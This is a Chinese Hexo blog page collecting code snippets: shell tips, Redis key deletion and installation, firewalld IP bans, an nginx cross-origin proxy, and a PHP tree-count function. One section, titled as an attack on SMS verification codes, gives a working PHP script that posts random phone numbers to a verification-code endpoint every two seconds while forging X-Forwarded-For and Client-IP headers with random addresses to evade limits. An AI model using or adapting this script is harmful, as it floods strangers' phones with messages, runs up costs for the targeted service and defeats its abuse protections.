<!DOCTYPE html>



  


<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<script>
    (function () {
        if ('') {
            if (prompt('请输入文章密码') !== '') {
                alert('密码错误！');
                if (history.length === 1) {
                    location.replace("https://google.com"); // 这里替换成你的首页
                } else {
                    history.back();
                }
            }
        }
    })();
</script>








<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="代码,">










<meta name="description" content="shell12345678910111213141516171819echo -e &quot;hell\bo&quot;echo -e &quot;h\te\tl\nl\to\t&quot;echo -e &quot;\x68\t\x65\t\x6c\n\x6c\t\x6f&quot;//30m=黑色，31m=红色，32m=绿色，33m=黄色，34m=蓝色，35m=洋红，36m=青色，37m=白色[root@VM_0_14_centos fonts]#">
<meta name="keywords" content="代码">
<meta property="og:type" content="article">
<meta property="og:title" content="代码段收集">
<meta property="og:url" content="http://yoursite.com/2019/01/07/代码段收集/index.html">
<meta property="og:site_name" content="苏生不惑的博客">
<meta property="og:description" content="shell12345678910111213141516171819echo -e &quot;hell\bo&quot;echo -e &quot;h\te\tl\nl\to\t&quot;echo -e &quot;\x68\t\x65\t\x6c\n\x6c\t\x6f&quot;//30m=黑色，31m=红色，32m=绿色，33m=黄色，34m=蓝色，35m=洋红，36m=青色，37m=白色[root@VM_0_14_centos fonts]#">
<meta property="og:locale" content="zh-Hans">
<meta property="og:updated_time" content="2019-10-11T09:26:57.174Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="代码段收集">
<meta name="twitter:description" content="shell12345678910111213141516171819echo -e &quot;hell\bo&quot;echo -e &quot;h\te\tl\nl\to\t&quot;echo -e &quot;\x68\t\x65\t\x6c\n\x6c\t\x6f&quot;//30m=黑色，31m=红色，32m=绿色，33m=黄色，34m=蓝色，35m=洋红，36m=青色，37m=白色[root@VM_0_14_centos fonts]#">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Gemini',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://yoursite.com/2019/01/07/代码段收集/">



<meta name="referrer" content="never"> ​​​​


  <title>代码段收集 | 苏生不惑的博客</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">苏生不惑的博客</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            关于
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            归档
          </a>
        </li>
      

      
        <li class="menu-item menu-item-search">
          
            <a href="javascript:;" class="popup-trigger">
          
            
              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
            
            搜索
          </a>
        </li>
      
    </ul>
  

  
    <div class="site-search">
      
  <div class="popup search-popup local-search-popup">
  <div class="local-search-header clearfix">
    <span class="search-icon">
      <i class="fa fa-search"></i>
    </span>
    <span class="popup-btn-close">
      <i class="fa fa-times-circle"></i>
    </span>
    <div class="local-search-input-wrapper">
      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
    </div>
  </div>
  <div id="local-search-result"></div>
</div>



    </div>
  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/01/07/代码段收集/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">代码段收集</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-01-07T11:24:00+08:00">
                2019-01-07
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="page-pv"><i class="fa fa-file-o"></i>
            <span class="busuanzi-value" id="busuanzi_value_page_pv"></span>次
            </span>
          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  21.5k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  111 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h3 id="shell"><a href="#shell" class="headerlink" title="shell"></a>shell</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">echo -e <span class="string">"hell\bo"</span></span><br><span class="line">echo -e <span class="string">"h\te\tl\nl\to\t"</span></span><br><span class="line">echo -e <span class="string">"\x68\t\x65\t\x6c\n\x6c\t\x6f"</span></span><br><span class="line"><span class="comment">//30m=黑色，31m=红色，32m=绿色，33m=黄色，34m=蓝色，35m=洋红，36m=青色，37m=白色</span></span><br><span class="line">[root@VM_0_14_centos fonts]# echo -e "\e[1;31m字符串\e[0m"</span><br><span class="line">字符串</span><br><span class="line">alias</span><br><span class="line">alias 别名=<span class="string">'原命令'</span></span><br><span class="line">vim ~<span class="regexp">/.bashrc</span></span><br><span class="line"><span class="regexp">source ~/</span>.bashrc</span><br><span class="line">unalias 别名</span><br><span class="line">vim /etc/profile</span><br><span class="line">HISTSIZE=<span class="number">1000</span></span><br><span class="line">/dev/<span class="literal">null</span> 这个文件是系统的黑洞，输出信息写入这里面就没啦</span><br><span class="line">一个判断命令是否正确执行的做法</span><br><span class="line">ls &amp;&amp; echo yes || echo no</span><br><span class="line">netstat -an | grep ESTABLISHED | wc -l</span><br><span class="line"><span class="string">``</span> 反引号括起来的内容是系统命令，在Bash中会先执行它。和$()作用一样，不过推荐$()，因为反引号容易看错</span><br><span class="line">Bash中变量与PHP中的变量的区别是赋值不需要“$”，取值需要“$”</span><br></pre></td></tr></table></figure>
<h3 id="redis批量删除key"><a href="#redis批量删除key" class="headerlink" title="redis批量删除key"></a>redis批量删除key</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">从<span class="number">2.8</span><span class="number">.0</span>以后redis提供scan来遍历key，而且这个过程是非阻塞，不会影响线上生产环境。最终经过修改的方案是用scan遍历要删除的key，然后调用del删除</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys,redis</span><br><span class="line"></span><br><span class="line">r = redis.Redis(host=<span class="string">"127.0.0.1"</span>, port=<span class="number">6379</span>,db=<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>  len(sys.argv) &lt;= <span class="number">1</span>:</span><br><span class="line">    print(<span class="string">"必须指明匹配key字符串"</span>)</span><br><span class="line">    exit(<span class="number">1</span>)</span><br><span class="line">pattern = sys.argv[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line">cursor = <span class="number">0</span></span><br><span class="line">num = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span> :</span><br><span class="line">    resut = r.scan(cursor, pattern, <span class="number">10000</span>)</span><br><span class="line">    del_keys = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> resut[<span class="number">1</span>]:</span><br><span class="line">        key = i.decode()</span><br><span class="line">        del_keys.append(key)</span><br><span class="line">    #print("del keys len :%d" % len(result))</span><br><span class="line">    <span class="keyword">if</span> len(del_keys) == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    r.delete(*del_keys)</span><br><span class="line">    cursor = resut[<span class="number">0</span>]</span><br><span class="line">    print(<span class="string">"delete keys num : %dw"</span> % (num))</span><br><span class="line">    num +=<span class="number">1</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">"done\n"</span>)</span><br><span class="line">python3 main.py <span class="string">"king*"</span></span><br></pre></td></tr></table></figure>
<h3 id="centos7安装redis3-2"><a href="#centos7安装redis3-2" class="headerlink" title="centos7安装redis3.2"></a>centos7安装redis3.2</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">wget http:<span class="comment">//download.redis.io/releases/redis-3.2.4.tar.gz</span></span><br><span class="line"> </span><br><span class="line">tar -xvf redis<span class="number">-3.2</span><span class="number">.4</span>.tar.gz</span><br><span class="line"> </span><br><span class="line">cd redis<span class="number">-3.2</span><span class="number">.4</span></span><br><span class="line"> </span><br><span class="line">cat README.md</span><br><span class="line"> </span><br><span class="line">make</span><br><span class="line"> </span><br><span class="line">make install</span><br><span class="line"> </span><br><span class="line">mkdir /etc/redis</span><br><span class="line"> </span><br><span class="line">cp utils/redis.conf /etc/redis/</span><br><span class="line"> </span><br><span class="line">redis-server /etc/redis/redis.conf</span><br><span class="line"></span><br><span class="line">vi /lib/systemd/system/redis.service</span><br><span class="line">[Unit]</span><br><span class="line">Description=redis service file</span><br><span class="line">Wants=network.target</span><br><span class="line"> </span><br><span class="line">[Service]</span><br><span class="line">Type=forking</span><br><span class="line">ExecStart=<span class="regexp">/usr/</span>local/bin/redis-server /etc/redis/redis.conf</span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br><span class="line"></span><br><span class="line">vi /etc/redis/redis.conf</span><br><span class="line">systemctl daemon-reload</span><br><span class="line"> </span><br><span class="line">#开机启动</span><br><span class="line"> </span><br><span class="line">systemctl enable redis.service</span><br><span class="line"> </span><br><span class="line">#启动redis</span><br><span class="line"> </span><br><span class="line">systemctl start redis.service</span><br><span class="line"> </span><br><span class="line">#关闭redis</span><br><span class="line"> </span><br><span class="line">systemctl stop redis.service</span><br></pre></td></tr></table></figure>
<h3 id="firewall"><a href="#firewall" class="headerlink" title="firewall"></a>firewall</h3><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"># systemctl start firewalld         # 启动,</span><br><span class="line"># systemctl enable firewalld        # 开机启动</span><br><span class="line"># systemctl stop firewalld          # 关闭</span><br><span class="line"># systemctl disable firewalld       # 取消开机启动</span><br><span class="line">查看运行状态:</span><br><span class="line"></span><br><span class="line">[root:~]# firewall-cmd –state</span><br><span class="line">running</span><br><span class="line"></span><br><span class="line">查看当前的区域：</span><br><span class="line"></span><br><span class="line">[root:~]# firewall-cmd –get-default-zone</span><br><span class="line">public</span><br><span class="line"></span><br><span class="line">查看已被激活的区域信息:</span><br><span class="line"></span><br><span class="line">[root:~]# firewall-cmd –get-active-zones</span><br><span class="line">public</span><br><span class="line">interfaces: eth0</span><br><span class="line"></span><br><span class="line">查询eth0网卡的区域：</span><br><span class="line"></span><br><span class="line">[root:~]# firewall-cmd –get-zone-of-interface=eth0</span><br><span class="line">public</span><br><span class="line">封禁 ip：</span><br><span class="line">[root:~]#firewall-cmd --permanent --add-rich-rule="rule family='ipv4' source address='222.222.222.222' reject"</span><br><span class="line">通过 ipset 来封禁 ip</span><br><span class="line">[root:~]#firewall-cmd --permanent --zone=public --new-ipset=blacklist --type=hash:ip</span><br><span class="line"> </span><br><span class="line">[root:~]#firewall-cmd --permanent --zone=public --ipset=blacklist --add-entry=222.222.222.222</span><br></pre></td></tr></table></figure>
<h3 id="nginx反向代理解决跨域问题"><a href="#nginx反向代理解决跨域问题" class="headerlink" title="nginx反向代理解决跨域问题"></a>nginx反向代理解决跨域问题</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">有<span class="number">2</span>个站点，front.aaa.com和api.aaa.com。假设这里我们<span class="number">2</span>个站点都用nginx搭建，front.aaa.com的nginx配置文件为front.conf，api.aaa.com的nginx的配置文件为api.conf。当front站点的页面ajax访问api站点的时候就会起因这个跨域问题。我们在front站点配置<span class="number">1</span>个针对api的反向代理，配置如下：</span><br><span class="line"></span><br><span class="line">server &#123;</span><br><span class="line">     ....</span><br><span class="line">       location /api/ &#123;</span><br><span class="line">            rewrite ^<span class="regexp">/api/</span>(.*) /$<span class="number">1</span> <span class="keyword">break</span>;</span><br><span class="line">            proxy_pass http:<span class="comment">//api.aaa.com;</span></span><br><span class="line">        &#125;</span><br><span class="line">        ....</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">如此一来所有访问api的接口我们可以同构http:<span class="comment">//front.aaa.com/api/&#123;realApi&#125;来实现对后端接口的访问。</span></span><br></pre></td></tr></table></figure>
<h3 id="数据结构算法"><a href="#数据结构算法" class="headerlink" title="数据结构算法"></a>数据结构算法</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://laravel-china.org/topics/21967</span></span><br><span class="line">$array = array(</span><br><span class="line">    <span class="string">'a'</span> =&gt; array(</span><br><span class="line">        <span class="string">'a1'</span> =&gt; array(</span><br><span class="line">            <span class="string">'a1_1'</span> =&gt; array(</span><br><span class="line">                <span class="string">'a1_1_1'</span> =&gt; array(),</span><br><span class="line">            ),</span><br><span class="line">            <span class="string">'a1_2'</span> =&gt; array(),</span><br><span class="line">        ),</span><br><span class="line">        <span class="string">'a2'</span> =&gt; array(</span><br><span class="line">            <span class="string">'a2_1'</span> =&gt; array(),</span><br><span class="line">            <span class="string">'a2_2'</span> =&gt; array(),</span><br><span class="line">            <span class="string">'a2_3'</span> =&gt; array(),</span><br><span class="line">        )</span><br><span class="line">    ),</span><br><span class="line">    <span class="string">'b'</span> =&gt; array(),<span class="comment">//...n+1</span></span><br><span class="line">);</span><br><span class="line"><span class="comment">//print_r($array);</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fuck</span>(<span class="params">$data = array(</span>), &amp;<span class="title">$indirect_num</span> = 0)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    foreach ($data <span class="keyword">as</span> $key =&gt; $item) &#123;</span><br><span class="line">        <span class="keyword">if</span> (is_array($item) &amp;&amp; !empty($item)) &#123;</span><br><span class="line"></span><br><span class="line">            $item = fuck($item, $indirect_num);</span><br><span class="line"></span><br><span class="line">            $indirect_num += $item[<span class="string">'_direct_num'</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        $data[$key] = $item;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//直接下级</span></span><br><span class="line">    $data[<span class="string">'_direct_num'</span>] = $direct_num = count($data);</span><br><span class="line">    <span class="comment">//间接下级</span></span><br><span class="line">    $data[<span class="string">'_indirect_num'</span>] = $indirect_num;</span><br><span class="line">    <span class="comment">//所有下级</span></span><br><span class="line">    $data[<span class="string">'_count_num'</span>] = $direct_num + $indirect_num;</span><br><span class="line">    <span class="comment">//排序</span></span><br><span class="line">    ksort($data);</span><br><span class="line">    <span class="keyword">return</span> $data;</span><br><span class="line">&#125;</span><br><span class="line">print_r(fuck($array));</span><br></pre></td></tr></table></figure>
<h3 id="PHP-攻击短信验证码"><a href="#PHP-攻击短信验证码" class="headerlink" title="PHP 攻击短信验证码"></a>PHP 攻击短信验证码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//laravel-china.org/articles/22051</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">curl_post</span>(<span class="params">$url, array $params = array(</span>),<span class="title">$ip</span>, <span class="title">$timeout</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $this_header = array(</span><br><span class="line">        <span class="string">"charset=UTF-8"</span>,</span><br><span class="line">        <span class="string">'X-FORWARDED-FOR:'</span>.$ip,</span><br><span class="line">        <span class="string">'CLIENT-IP:'</span>.$ip</span><br><span class="line">    );</span><br><span class="line">    $ch = curl_init();<span class="comment">//初始化</span></span><br><span class="line">    curl_setopt($ch, CURLOPT_URL, $url);<span class="comment">//抓取指定网页</span></span><br><span class="line">    curl_setopt($ch,CURLOPT_HTTPHEADER,$this_header);</span><br><span class="line">    curl_setopt($ch, CURLOPT_HEADER, <span class="number">0</span>);<span class="comment">//设置header</span></span><br><span class="line">    curl_setopt($ch, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);<span class="comment">//要求结果为字符串且输出到屏幕上</span></span><br><span class="line">    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);</span><br><span class="line">    curl_setopt($ch, CURLOPT_POST, <span class="number">1</span>);<span class="comment">//post提交方式</span></span><br><span class="line">    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);</span><br><span class="line">    curl_setopt($ch, CURLOPT_USERAGENT, <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36"</span>);</span><br><span class="line">    curl_setopt($ch, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);</span><br><span class="line">    $data = curl_exec($ch);<span class="comment">//运行curl</span></span><br><span class="line">    curl_close($ch);</span><br><span class="line">    <span class="keyword">return</span> ($data);</span><br><span class="line">&#125;</span><br><span class="line">swoole_timer_tick(<span class="number">2000</span>, <span class="function"><span class="keyword">function</span> (<span class="params">$timer_id</span>) </span>&#123;</span><br><span class="line">    $ip = get_rand_ip();</span><br><span class="line">    $phone = getPhone();</span><br><span class="line">    <span class="comment">//这里添加短信验证码接口ur，并传入对应手机号参数(参数key看你要攻击的接口是啥，我这里是phone)</span></span><br><span class="line">    $res = curl_post(<span class="string">'替换成短信接口url'</span>,[<span class="string">'phone'</span>=&gt;$phone],$ip,<span class="number">30</span>);</span><br><span class="line">    <span class="keyword">if</span>($res == <span class="string">'0'</span>)&#123;</span><br><span class="line">        echo <span class="string">'验证码发送成功phone:'</span>.$phone.<span class="string">'time:'</span>.date(<span class="string">'Y-m-d H:i:s'</span>).<span class="string">' 虚拟ip:'</span>.$ip.PHP_EOL;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        echo $res.PHP_EOL;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getPhone</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $arr = array(</span><br><span class="line">        <span class="number">130</span>,<span class="number">131</span>,<span class="number">132</span>,<span class="number">133</span>,<span class="number">134</span>,<span class="number">135</span>,<span class="number">136</span>,<span class="number">137</span>,<span class="number">138</span>,<span class="number">139</span>,</span><br><span class="line">        <span class="number">144</span>,<span class="number">147</span>,</span><br><span class="line">        <span class="number">150</span>,<span class="number">151</span>,<span class="number">152</span>,<span class="number">153</span>,<span class="number">155</span>,<span class="number">156</span>,<span class="number">157</span>,<span class="number">158</span>,<span class="number">159</span>,</span><br><span class="line">        <span class="number">176</span>,<span class="number">177</span>,<span class="number">178</span>,</span><br><span class="line">        <span class="number">180</span>,<span class="number">181</span>,<span class="number">182</span>,<span class="number">183</span>,<span class="number">184</span>,<span class="number">185</span>,<span class="number">186</span>,<span class="number">187</span>,<span class="number">188</span>,<span class="number">189</span>,</span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">return</span> $arr[array_rand($arr)].mt_rand(<span class="number">1000</span>,<span class="number">9999</span>).mt_rand(<span class="number">1000</span>,<span class="number">9999</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_rand_ip</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    $arr_1 = array(<span class="string">"218"</span>,<span class="string">"218"</span>,<span class="string">"66"</span>,<span class="string">"66"</span>,<span class="string">"218"</span>,<span class="string">"218"</span>,<span class="string">"60"</span>,<span class="string">"60"</span>,<span class="string">"202"</span>,<span class="string">"204"</span>,<span class="string">"66"</span>,<span class="string">"66"</span>,<span class="string">"66"</span>,<span class="string">"59"</span>,<span class="string">"61"</span>,<span class="string">"60"</span>,<span class="string">"222"</span>,<span class="string">"221"</span>,<span class="string">"66"</span>,<span class="string">"59"</span>,<span class="string">"60"</span>,<span class="string">"60"</span>,<span class="string">"66"</span>,<span class="string">"218"</span>,<span class="string">"218"</span>,<span class="string">"62"</span>,<span class="string">"63"</span>,<span class="string">"64"</span>,<span class="string">"66"</span>,<span class="string">"66"</span>,<span class="string">"122"</span>,<span class="string">"211"</span>);</span><br><span class="line">    $randarr= mt_rand(<span class="number">0</span>,count($arr_1));</span><br><span class="line">    $ip1id = $arr_1[$randarr];</span><br><span class="line">    $ip2id=  round(rand(<span class="number">600000</span>,  <span class="number">2550000</span>)  /  <span class="number">10000</span>);</span><br><span class="line">    $ip3id=  round(rand(<span class="number">600000</span>,  <span class="number">2550000</span>)  /  <span class="number">10000</span>);</span><br><span class="line">    $ip4id=  round(rand(<span class="number">600000</span>,  <span class="number">2550000</span>)  /  <span class="number">10000</span>);</span><br><span class="line">    <span class="keyword">return</span>  $ip1id . <span class="string">"."</span> . $ip2id . <span class="string">"."</span> . $ip3id . <span class="string">"."</span> . $ip4id;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="get-object-vars"><a href="#get-object-vars" class="headerlink" title="get_object_vars"></a>get_object_vars</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">array get_object_vars ( object $obj ) 返回由 obj指定的对象中定义的属性组成的关联数组。</span><br><span class="line"></span><br><span class="line">如果是关联数组：数组转对象可以直接用(object)()；对象转数组则要用get_object_vars()；</span><br><span class="line"></span><br><span class="line">如果是索引数组：数组转对象可以直接用(object)()；对象转数组直接用(array)()；</span><br></pre></td></tr></table></figure>
